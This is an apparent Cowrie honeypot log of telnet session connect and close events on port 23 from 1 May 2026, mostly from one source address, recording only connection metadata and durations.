{"eventid":"cowrie.session.closed","duration":31.399977207183838,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:05.494171Z","src_ip":"51.161.172.108","session":"b1cc530bac06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34428,"dst_ip":"159.203.135.109","dst_port":23,"session":"4521cbe28666","protocol":"telnet","message":"New connection: 51.161.172.108:34428 (159.203.135.109:23) [session: 4521cbe28666]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:05.689231Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34444,"dst_ip":"159.203.135.109","dst_port":23,"session":"11cc1e97dfb7","protocol":"telnet","message":"New connection: 51.161.172.108:34444 (159.203.135.109:23) [session: 11cc1e97dfb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:05.711829Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34180,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fea694b4446","protocol":"telnet","message":"New connection: 51.161.172.108:34180 (159.203.135.109:23) [session: 2fea694b4446]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:05.724490Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34450,"dst_ip":"159.203.135.109","dst_port":23,"session":"a38fff2ec58b","protocol":"telnet","message":"New connection: 51.161.172.108:34450 (159.203.135.109:23) [session: a38fff2ec58b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:05.826978Z"}
{"eventid":"cowrie.session.closed","duration":30.43799591064453,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:06.121145Z","src_ip":"45.10.154.244","session":"41da6a6c77c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.604628324508667,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:06.133689Z","src_ip":"51.161.172.108","session":"e82d218e052b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.49298071861267,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:06.210137Z","src_ip":"51.161.172.108","session":"9a6e9f8ada2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34522,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c70540581d6","protocol":"telnet","message":"New connection: 51.161.172.108:34522 (159.203.135.109:23) [session: 9c70540581d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:06.288277Z"}
{"eventid":"cowrie.session.closed","duration":31.069262981414795,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:06.304053Z","src_ip":"45.10.154.244","session":"98b2a1cba351","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18126368522644,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:06.322184Z","src_ip":"51.161.172.108","session":"93605f54f840","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.437223196029663,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:06.350392Z","src_ip":"51.161.172.108","session":"54a460fdfb32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34538,"dst_ip":"159.203.135.109","dst_port":23,"session":"7be1a4cc5fe7","protocol":"telnet","message":"New connection: 51.161.172.108:34538 (159.203.135.109:23) [session: 7be1a4cc5fe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:06.413994Z"}
{"eventid":"cowrie.session.closed","duration":30.6970272064209,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:06.446314Z","src_ip":"51.161.172.108","session":"7a4caecd6172","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.299968004226685,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:06.505002Z","src_ip":"51.161.172.108","session":"48d87dd28c74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":50506,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1062d9742ca","protocol":"telnet","message":"New connection: 34.69.118.1:50506 (159.203.135.109:23) [session: f1062d9742ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:06.591037Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34422,"dst_ip":"159.203.135.109","dst_port":23,"session":"f483c546f8e6","protocol":"telnet","message":"New connection: 51.161.172.108:34422 (159.203.135.109:23) [session: f483c546f8e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:06.598341Z"}
{"eventid":"cowrie.session.closed","duration":30.915663719177246,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:06.606163Z","src_ip":"51.161.172.108","session":"624bc530f10d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.945289134979248,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:06.689312Z","src_ip":"51.161.172.108","session":"94ab771ebd00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.007911443710327,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:06.814465Z","src_ip":"51.161.172.108","session":"75a2e62bc925","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34656,"dst_ip":"159.203.135.109","dst_port":23,"session":"18d94ebf6be8","protocol":"telnet","message":"New connection: 51.161.172.108:34656 (159.203.135.109:23) [session: 18d94ebf6be8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:06.988250Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34678,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb0786309248","protocol":"telnet","message":"New connection: 51.161.172.108:34678 (159.203.135.109:23) [session: eb0786309248]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:07.068616Z"}
{"eventid":"cowrie.session.closed","duration":30.986008405685425,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:07.192528Z","src_ip":"51.161.172.108","session":"ea8179586ac8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34728,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd9bc7f4adaa","protocol":"telnet","message":"New connection: 51.161.172.108:34728 (159.203.135.109:23) [session: cd9bc7f4adaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:07.294831Z"}
{"eventid":"cowrie.session.closed","duration":31.288237810134888,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:07.359085Z","src_ip":"51.161.172.108","session":"41aa63cebfc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34732,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3dd437b6c68","protocol":"telnet","message":"New connection: 51.161.172.108:34732 (159.203.135.109:23) [session: b3dd437b6c68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:07.373430Z"}
{"eventid":"cowrie.session.closed","duration":31.302597045898438,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:07.484097Z","src_ip":"51.161.172.108","session":"b238a9cb9e05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34748,"dst_ip":"159.203.135.109","dst_port":23,"session":"9674d37b0574","protocol":"telnet","message":"New connection: 51.161.172.108:34748 (159.203.135.109:23) [session: 9674d37b0574]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:07.552683Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34760,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a89034f8cb1","protocol":"telnet","message":"New connection: 51.161.172.108:34760 (159.203.135.109:23) [session: 8a89034f8cb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:07.559265Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34772,"dst_ip":"159.203.135.109","dst_port":23,"session":"21eec8eaa25e","protocol":"telnet","message":"New connection: 51.161.172.108:34772 (159.203.135.109:23) [session: 21eec8eaa25e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:07.587944Z"}
{"eventid":"cowrie.session.closed","duration":31.314812183380127,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:07.707444Z","src_ip":"51.161.172.108","session":"dc84b7d8a3b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34820,"dst_ip":"159.203.135.109","dst_port":23,"session":"85e9c9bf23d6","protocol":"telnet","message":"New connection: 51.161.172.108:34820 (159.203.135.109:23) [session: 85e9c9bf23d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:07.752195Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34834,"dst_ip":"159.203.135.109","dst_port":23,"session":"131920667754","protocol":"telnet","message":"New connection: 51.161.172.108:34834 (159.203.135.109:23) [session: 131920667754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:07.915009Z"}
{"eventid":"cowrie.session.closed","duration":32.06351947784424,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:07.921520Z","src_ip":"51.161.172.108","session":"8c647550e6e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.801851749420166,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:07.931185Z","src_ip":"51.161.172.108","session":"d2cd32a3e1a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.193308353424072,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:08.146590Z","src_ip":"51.161.172.108","session":"171f3333e05e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.43909740447998,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:08.167016Z","src_ip":"51.161.172.108","session":"8f374bc68391","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.817766666412354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:08.215995Z","src_ip":"51.161.172.108","session":"8438d15bcd00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75816559791565,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:08.288560Z","src_ip":"45.10.154.244","session":"cad82c84d4d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.444838047027588,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:08.382678Z","src_ip":"51.161.172.108","session":"3712033300d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34400,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea6a5f170511","protocol":"telnet","message":"New connection: 51.161.172.108:34400 (159.203.135.109:23) [session: ea6a5f170511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:08.455844Z"}
{"eventid":"cowrie.session.closed","duration":32.72322654724121,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:08.516917Z","src_ip":"51.161.172.108","session":"bff22883dcb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":42118,"dst_ip":"159.203.135.109","dst_port":23,"session":"139b97794ae7","protocol":"telnet","message":"New connection: 167.99.38.72:42118 (159.203.135.109:23) [session: 139b97794ae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:08.540660Z"}
{"eventid":"cowrie.session.closed","duration":31.409414052963257,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:08.617512Z","src_ip":"51.161.172.108","session":"645681949605","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.059041023254395,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:08.637437Z","src_ip":"51.161.172.108","session":"d029b4ce914f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34762,"dst_ip":"159.203.135.109","dst_port":23,"session":"94876e6ed080","protocol":"telnet","message":"New connection: 51.161.172.108:34762 (159.203.135.109:23) [session: 94876e6ed080]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:08.694579Z"}
{"eventid":"cowrie.session.closed","duration":31.672051906585693,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:08.751717Z","src_ip":"51.161.172.108","session":"85533b49a6d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34608,"dst_ip":"159.203.135.109","dst_port":23,"session":"62bd6ade2594","protocol":"telnet","message":"New connection: 51.161.172.108:34608 (159.203.135.109:23) [session: 62bd6ade2594]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:08.757631Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34784,"dst_ip":"159.203.135.109","dst_port":23,"session":"7da37fa61105","protocol":"telnet","message":"New connection: 51.161.172.108:34784 (159.203.135.109:23) [session: 7da37fa61105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:08.762809Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34796,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cb81dcbeec8","protocol":"telnet","message":"New connection: 51.161.172.108:34796 (159.203.135.109:23) [session: 5cb81dcbeec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:08.766832Z"}
{"eventid":"cowrie.session.closed","duration":31.620235204696655,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:08.883772Z","src_ip":"51.161.172.108","session":"94e6c5222f95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34894,"dst_ip":"159.203.135.109","dst_port":23,"session":"9141fa851cd8","protocol":"telnet","message":"New connection: 51.161.172.108:34894 (159.203.135.109:23) [session: 9141fa851cd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:08.997137Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34906,"dst_ip":"159.203.135.109","dst_port":23,"session":"89d2b56786f7","protocol":"telnet","message":"New connection: 51.161.172.108:34906 (159.203.135.109:23) [session: 89d2b56786f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:09.016212Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34920,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb3272f93e1c","protocol":"telnet","message":"New connection: 51.161.172.108:34920 (159.203.135.109:23) [session: eb3272f93e1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:09.170711Z"}
{"eventid":"cowrie.session.closed","duration":31.601201057434082,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:09.234626Z","src_ip":"51.161.172.108","session":"1cf221cbb4bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":38624,"dst_ip":"10.17.0.5","dst_port":23,"session":"52e1f8d6f366","protocol":"telnet","message":"New connection: 45.10.154.244:38624 (10.17.0.5:23) [session: 52e1f8d6f366]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:09.414480Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51002,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef29ae5369f8","protocol":"telnet","message":"New connection: 51.161.172.108:51002 (159.203.135.109:23) [session: ef29ae5369f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:09.439220Z"}
{"eventid":"cowrie.session.closed","duration":31.196858882904053,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:09.473536Z","src_ip":"51.161.172.108","session":"5d3675a9263d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51018,"dst_ip":"159.203.135.109","dst_port":23,"session":"58a81b1b146f","protocol":"telnet","message":"New connection: 51.161.172.108:51018 (159.203.135.109:23) [session: 58a81b1b146f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:09.563377Z"}
{"eventid":"cowrie.session.closed","duration":34.988083600997925,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:09.730051Z","src_ip":"167.99.38.72","session":"a9ad1f568ce3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51042,"dst_ip":"159.203.135.109","dst_port":23,"session":"83a1f8b8156c","protocol":"telnet","message":"New connection: 51.161.172.108:51042 (159.203.135.109:23) [session: 83a1f8b8156c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:09.778333Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":40208,"dst_ip":"10.17.0.5","dst_port":23,"session":"b57d501abe1e","protocol":"telnet","message":"New connection: 45.10.154.244:40208 (10.17.0.5:23) [session: b57d501abe1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:09.826988Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51056,"dst_ip":"159.203.135.109","dst_port":23,"session":"36998732e85f","protocol":"telnet","message":"New connection: 51.161.172.108:51056 (159.203.135.109:23) [session: 36998732e85f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:10.053496Z"}
{"eventid":"cowrie.session.closed","duration":32.097086668014526,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:10.065748Z","src_ip":"51.161.172.108","session":"29c19192ed7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51088,"dst_ip":"159.203.135.109","dst_port":23,"session":"6cec63361412","protocol":"telnet","message":"New connection: 51.161.172.108:51088 (159.203.135.109:23) [session: 6cec63361412]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:10.078234Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51074,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c4d000da5aa","protocol":"telnet","message":"New connection: 51.161.172.108:51074 (159.203.135.109:23) [session: 6c4d000da5aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:10.086886Z"}
{"eventid":"cowrie.session.closed","duration":30.584874153137207,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:10.163754Z","src_ip":"51.161.172.108","session":"9c4d9ccc3072","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51114,"dst_ip":"159.203.135.109","dst_port":23,"session":"1cc61ecb48a0","protocol":"telnet","message":"New connection: 51.161.172.108:51114 (159.203.135.109:23) [session: 1cc61ecb48a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:10.303452Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51112,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8c18a0379e9","protocol":"telnet","message":"New connection: 51.161.172.108:51112 (159.203.135.109:23) [session: f8c18a0379e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:10.340369Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":42180,"dst_ip":"10.17.0.5","dst_port":23,"session":"f36442cf159d","protocol":"telnet","message":"New connection: 45.10.154.244:42180 (10.17.0.5:23) [session: f36442cf159d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:10.449296Z"}
{"eventid":"cowrie.session.closed","duration":30.911353588104248,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:10.601695Z","src_ip":"51.161.172.108","session":"f42daa4ae58c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.52751398086548,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:10.617095Z","src_ip":"51.161.172.108","session":"aade440146c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.854214429855347,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:10.808046Z","src_ip":"51.161.172.108","session":"9f38b0489f15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.02301907539368,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:11.019935Z","src_ip":"51.161.172.108","session":"74e4679b30b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51204,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb5f4451b845","protocol":"telnet","message":"New connection: 51.161.172.108:51204 (159.203.135.109:23) [session: cb5f4451b845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:11.065105Z"}
{"eventid":"cowrie.session.closed","duration":30.629982471466064,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:11.072351Z","src_ip":"45.10.154.244","session":"fba7e6fc7d0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.549469470977783,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:11.140288Z","src_ip":"51.161.172.108","session":"e974952d1468","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.960189819335938,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:11.217435Z","src_ip":"45.10.154.244","session":"a6ce91219bd9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.902036428451538,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:11.228052Z","src_ip":"51.161.172.108","session":"2794203456f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.45704436302185,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:11.238366Z","src_ip":"51.161.172.108","session":"636b29d35079","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.173848867416382,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:11.243338Z","src_ip":"51.161.172.108","session":"fbb4b18a1751","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51246,"dst_ip":"159.203.135.109","dst_port":23,"session":"e900d1a38649","protocol":"telnet","message":"New connection: 51.161.172.108:51246 (159.203.135.109:23) [session: e900d1a38649]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:11.260196Z"}
